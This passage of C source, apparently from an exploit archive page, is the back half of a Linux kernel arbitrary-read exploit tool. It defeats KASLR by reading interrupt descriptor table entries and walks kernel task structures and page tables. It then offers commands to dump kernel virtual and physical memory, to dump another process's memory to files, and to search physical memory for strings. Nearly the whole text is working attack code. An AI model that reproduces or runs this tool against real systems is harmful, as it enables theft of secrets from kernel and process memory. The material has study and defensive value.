unsigned long divide_error = read_idt_gate(0);
info("[.] divide_error:     %016lx\n", divide_error);

g_kernel_text = divide_error - O_DIVIDE_ERROR;
info("[.] kernel text:      %016lx\n", g_kernel_text);

if (O_PAGE_OFFSET_BASE) {
unsigned long page_offset_base =
g_kernel_text + O_PAGE_OFFSET_BASE;
info("[.] page_offset_base: %016lx\n", page_offset_base);

g_physmap = read_8(page_offset_base);
info("[.] physmap:          %016lx\n", g_physmap);
if (g_physmap < PAGE_OFFSET_BASE) {
info("[-] physmap sanity check failed "
"(wrong offset?)\n");
exit(EXIT_FAILURE);
}
} else {
g_physmap = PAGE_OFFSET_BASE;
info("[.] physmap:          %016lx\n", g_physmap);
}
}

static unsigned long g_mmap = 0;

static void pts_init(int pid) {
unsigned long mm;

if (pid != 0) {
unsigned long init_task = g_kernel_text + O_INIT_TASK;
info("[.] init_task:        %016lx\n", init_task);

unsigned long task = find_task_by_pid(init_task, pid);
info("[.] task:             %016lx\n", task);
if (task == 0) {
info("[-] task %d not found\n", pid);
exit(EXIT_FAILURE);
} else if (task < PAGE_OFFSET_BASE) {
info("[-] task sanity check failed (wrong offset?)\n");
exit(EXIT_FAILURE);
}

mm = read_field_8(task, O_TASK_STRUCT_MM);
info("[.] task->mm:         %016lx\n", mm);
if (mm == 0) {
info("[-] mm not found (kernel task?)\n");
exit(EXIT_FAILURE);
} else if (mm < PAGE_OFFSET_BASE) {
info("[-] mm sanity check failed (wrong offset?)\n");
exit(EXIT_FAILURE);
}

g_mmap = read_field_8(mm, O_MM_STRUCT_MMAP);
info("[.] task->mm->mmap:   %016lx\n", g_mmap);
if (g_mmap < PAGE_OFFSET_BASE) {
info("[-] mmap sanity check failed (wrong offset?)\n");
exit(EXIT_FAILURE);
}
} else {
mm = g_kernel_text + O_INIT_MM;
}

unsigned long pgd = read_field_8(mm, O_MM_STRUCT_PGD);
info("[.] task->mm->pgd:    %016lx\n", pgd);
if (pgd < PAGE_OFFSET_BASE) {
info("[-] pgd sanity check failed (wrong offset?)\n");
exit(EXIT_FAILURE);
}

ptsc_init(&g_ptsc, g_physmap, pgd);
}

static unsigned long page_virt_to_phys(unsigned long addr) {
unsigned long paddr = ptsc_page_virt_to_phys(&g_ptsc, addr);
assert(paddr != 0);
return paddr - g_physmap;
}

static bool page_check_virt(unsigned long addr) {
unsigned long paddr = ptsc_page_virt_to_phys(&g_ptsc, addr);
return paddr != 0;
}

static bool page_check_phys(unsigned long offset) {
return page_check_virt(g_physmap + offset);
}

static void phys_read_range(unsigned long offset, size_t length, char *buffer) {
read_range(g_physmap + offset, length, buffer);
}

static void for_each_mmap(mmap_callback callback, void *private) {
for_each_mmap_from(g_mmap, callback, private);
}

// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

static int create_file(const char *path) {
int fd = open(path, O_RDWR | O_CREAT, 0644);
if (fd < 0) {
perror("[-] open()");
exit(EXIT_FAILURE);
}
return fd;
}

static int open_dir(const char *path) {
int fd = open(path, O_DIRECTORY | O_PATH);
if (fd < 0) {
perror("[-] open()");
exit(EXIT_FAILURE);
}
return fd;
}

static int create_file_in_dir(int dirfd, const char *name) {
int fd = openat(dirfd, name, O_RDWR | O_CREAT, 0644);
if (fd < 0) {
perror("[-] openat()");
exit(EXIT_FAILURE);
}
return fd;
}

static void write_file(int fd, char *buffer, size_t length) {
int rv = write(fd, buffer, length);
if (rv != length) {
perror("[-] write()");
exit(EXIT_FAILURE);
}
}

static void write_bytes(int fd, unsigned long src_addr,
char *buffer, size_t length) {
if (fd < 0)
print_bytes(LOG_INFO, src_addr, buffer, length);
else
write_file(fd, buffer, length);
}

// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

void read_virt_memory(unsigned long addr, size_t length, int fd) {
char buffer[PAGE_SIZE];
char empty[PAGE_SIZE];

debug1("read_virt_memory: addr = %016lx, length = %016lx\n",
addr, length);

memset(&empty[0], 0, sizeof(empty));

size_t total_read = 0;
while (total_read < length) {
unsigned long current = addr + total_read;
size_t to_read = PAGE_SIZE;
if (current % PAGE_SIZE != 0)
to_read = PAGE_SIZE - current % PAGE_SIZE;
to_read = min(to_read, length - total_read);
if (page_check_virt(addr + total_read)) {
read_range(addr + total_read, to_read, &buffer[0]);
write_bytes(fd, addr + total_read, &buffer[0], to_read);
} else {
write_bytes(fd, addr + total_read, &empty[0], to_read);
}
total_read += to_read;
}
}

void read_phys_memory(unsigned long src_addr, unsigned long offset,
size_t length, int fd) {
char buffer[PAGE_SIZE];
char empty[PAGE_SIZE];

debug1("read_phys_memory: offset = %016lx, length = %016lx\n",
offset, length);

memset(&empty[0], 0, sizeof(empty));

size_t total_read = 0;
while (total_read < length) {
unsigned long current = offset + total_read;
size_t to_read = PAGE_SIZE;
if (current % PAGE_SIZE != 0)
to_read = PAGE_SIZE - current % PAGE_SIZE;
to_read = min(to_read, length - total_read);
if (page_check_phys(offset + total_read)) {
phys_read_range(offset + total_read, to_read,
&buffer[0]);
write_bytes(fd, src_addr + offset + total_read,
&buffer[0], to_read);
} else {
write_bytes(fd, src_addr + offset + total_read,
&empty[0], to_read);
}
total_read += to_read;
}
}

// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

#define VM_READ0x00000001
#define VM_WRITE0x00000002
#define VM_EXEC0x00000004

static void print_mmap(unsigned long start, unsigned long end, unsigned flags) {
info("[%016lx, %016lx)  %s%s%s\n",
start, end,
(flags & VM_READ)  ? "r" : "-",
(flags & VM_WRITE) ? "w" : "-",
(flags & VM_EXEC)  ? "x" : "-");
}

static void name_mmap(unsigned long start, unsigned long end, unsigned flags,
char *buffer, size_t length) {
snprintf(buffer, length, "%016lx_%016lx_%s%s%s",
start, end,
(flags & VM_READ)  ? "r" : "-",
(flags & VM_WRITE) ? "w" : "-",
(flags & VM_EXEC)  ? "x" : "-");
}

static void save_mmap(struct mmap_entry *entry, void *private) {
int dirfd = (int)(unsigned long)private;
unsigned long length;
char name[128];
char empty[PAGE_SIZE];

assert(entry->start % PAGE_SIZE == 0);
assert(entry->end % PAGE_SIZE == 0);

memset(&empty, 0, sizeof(empty));
length = entry->end - entry->start;

print_mmap(entry->start, entry->end, entry->flags);
name_mmap(entry->start, entry->end, entry->flags,
&name[0], sizeof(name));
int fd = create_file_in_dir(dirfd, &name[0]);

size_t total_read = 0;
while (total_read < length) {
if (page_check_virt(entry->start + total_read)) {
unsigned long offset = page_virt_to_phys(
entry->start + total_read);
read_phys_memory(entry->start + total_read, offset,
PAGE_SIZE, fd);
} else {
write_bytes(fd, entry->start + total_read,
&empty[0], PAGE_SIZE);
}
total_read += PAGE_SIZE;
}

close(fd);
}

// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

unsigned long get_phys_size() {
struct sysinfo info;
int rv = sysinfo(&info);
if (rv != 0) {
perror("sysinfo()");
return EXIT_FAILURE;
}
debug1("phys size: %016lx\n", info.totalram);
return info.totalram;
}

void phys_search(unsigned long start, unsigned long end, char *needle) {
char buffer[PAGE_SIZE];
int length = strlen(needle);

assert(length <= PAGE_SIZE);

unsigned long offset;
for (offset = start; offset < end; offset += PAGE_SIZE) {
if (offset % (32ul << 20) == 0)
info("[.] now at %016lx\n", offset);
if (!page_check_phys(offset))
continue;
phys_read_range(offset, length,&buffer[0]);
if (memcmp(&buffer[0], needle, length) != 0)
continue;
info("[+] found at %016lx\n", offset);
return;
}
info("[-] not found\n");
}

// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

#define CMD_IDT1
#define CMD_PID2
#define CMD_VIRT3
#define CMD_PHYS4
#define CMD_SEARCH5

int g_cmd = 0;

static unsigned g_num = 1;
static unsigned g_pid = 0;
static unsigned long g_addr = 0;
static unsigned long g_length = 0;
static unsigned long g_offset = 0;
static const char *g_dir = NULL;
static const char *g_file = NULL;
static char *g_string = NULL;

static void print_usage(const char* name) {
info("Usage: \n");
info(" %s idt [NUM]                       "
"dump IDT entries\n", name);
info(" %s pid PID DIR                     "
"dump process memory\n", name);
info(" %s virt ADDR LENGTH [FILE]         "
"dump virtual memory\n", name);
info(" %s phys OFFSET LENGTH [FILE]       "
"dump physical memory\n", name);
info(" %s search STRING [OFFSET [LENGTH]] "
"search start of each physical page\n", name);
info("\n");
info(" NUM, PID - decimals\n");
info(" ADDR, LENGTH, OFFSET - hex\n");
info(" DIR, FILE, STRING - strings\n");
}

static bool parse_u(char *s, int base, unsigned *out) {
int length = strlen(s);
char *endptr = NULL;
unsigned long result = strtoul(s, &endptr, base);
if (endptr != s + length)
return false;
*out = result;
return true;
}

static bool parse_ul(char *s, int base, unsigned long *out) {
int length = strlen(s);
char *endptr = NULL;
unsigned long result = strtoul(s, &endptr, base);
if (endptr != s + length)
return false;
*out = result;
return true;
}

static int parse_cmd(const char *cmd) {
if (strcmp(cmd, "idt") == 0)
return CMD_IDT;
if (strcmp(cmd, "pid") == 0)
return CMD_PID;
if (strcmp(cmd, "virt") == 0)
return CMD_VIRT;
if (strcmp(cmd, "phys") == 0)
return CMD_PHYS;
if (strcmp(cmd, "search") == 0)
return CMD_SEARCH;
return 0;
}

static bool parse_args(int argc, char **argv) {
if (argc < 2)
return false;

g_cmd = parse_cmd(argv[1]);

switch (g_cmd) {
case CMD_IDT:
if (argc > 3)
return false;
if (argc >= 3 && !parse_u(argv[2], 10, &g_num))
return false;
return true;
case CMD_PID:
if (argc != 4)
return false;
if (!parse_u(argv[2], 10, &g_pid))
return false;
if (g_pid <= 0)
return false;
g_dir = argv[3];
debug1("CMD_PID %u %s\n", g_pid, g_dir);
return true;
case CMD_VIRT:
if (argc < 4 || argc > 5)
return false;
if (!parse_ul(argv[2], 16, &g_addr))
return false;
if (!parse_ul(argv[3], 16, &g_length))
return false;
if (argc == 5)
g_file = argv[4];
debug1("CMD_VIRT %016lx %016lx %s\n", g_addr,
g_length, g_file ? g_file : "NULL");
return true;
case CMD_PHYS:
if (argc < 4 || argc > 5)
return false;
if (!parse_ul(argv[2], 16, &g_offset))
return false;
if (!parse_ul(argv[3], 16, &g_length))
return false;
if (argc == 5)
g_file = argv[4];
debug1("CMD_PHYS %016lx %016lx %s\n", g_offset,
g_length, g_file ? g_file : "NULL");
return true;
case CMD_SEARCH:
if (argc < 3 || argc > 5)
return false;
g_string = argv[2];
if (argc >= 4 && !parse_ul(argv[3], 16, &g_offset))
return false;
if (argc >= 5 && !parse_ul(argv[4], 16, &g_length))
return false;
debug1("CMD_SEARCH <%s> %016lx %016lx\n",
g_string, g_offset, g_length);
return true;
default:
return false;
}

return true;
}

// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

void handle_cmd_idt() {
info("[.] dumping IDT\n");
print_idt(g_num);
info("[+] done\n");
}

void handle_cmd_virt() {
int fd = -1;
info("[.] dumping virtual memory [%016lx, %016lx):\n",
g_addr, g_addr + g_length);
if (g_file != NULL)
fd = create_file(g_file);
read_virt_memory(g_addr, g_length, fd);
if (fd != -1)
close(fd);
info("[+] done\n");
}

void handle_cmd_phys() {
int fd = -1;
info("[.] dumping physical memory [%016lx, %016lx):\n",
g_offset, g_offset + g_length);
if (g_file != NULL)
fd = create_file(g_file);
read_phys_memory(0, g_offset, g_length, fd);
if (fd != -1)
close(fd);
info("[+] done\n");
}

void handle_cmd_pid() {
info("[.] dumping mmaps for %u:\n", g_pid);
int dirfd = open_dir(g_dir);
for_each_mmap(save_mmap, (void *)(unsigned long)dirfd);
close(dirfd);
info("[+] done\n");
}

void handle_cmd_search() {
unsigned long start = g_offset ? g_offset : 0;
unsigned long end = g_length ? (start + g_length) : get_phys_size();
info("[.] searching [%016lx, %016lx) for '%s':\n",
start, end, g_string);
phys_search(start, end, g_string);
info("[+] done\n");
}

// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

int main(int argc, char **argv) {
assert(getpagesize() == PAGE_SIZE);

if (!parse_args(argc, argv)) {
print_usage(argv[0]);
exit(EXIT_FAILURE);
}

arbitrary_read_init();

if (g_cmd == CMD_IDT) {
handle_cmd_idt();
return EXIT_SUCCESS;
}

physmap_init();

switch (g_cmd) {
case CMD_VIRT:
pts_init(getpid());
handle_cmd_virt();
break;
case CMD_PHYS:
pts_init(0);
handle_cmd_phys();
break;
case CMD_SEARCH:
pts_init(0);
handle_cmd_search();
break;
case CMD_PID:
pts_init(g_pid);
handle_cmd_pid();
break;
}

return EXIT_SUCCESS;
}

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum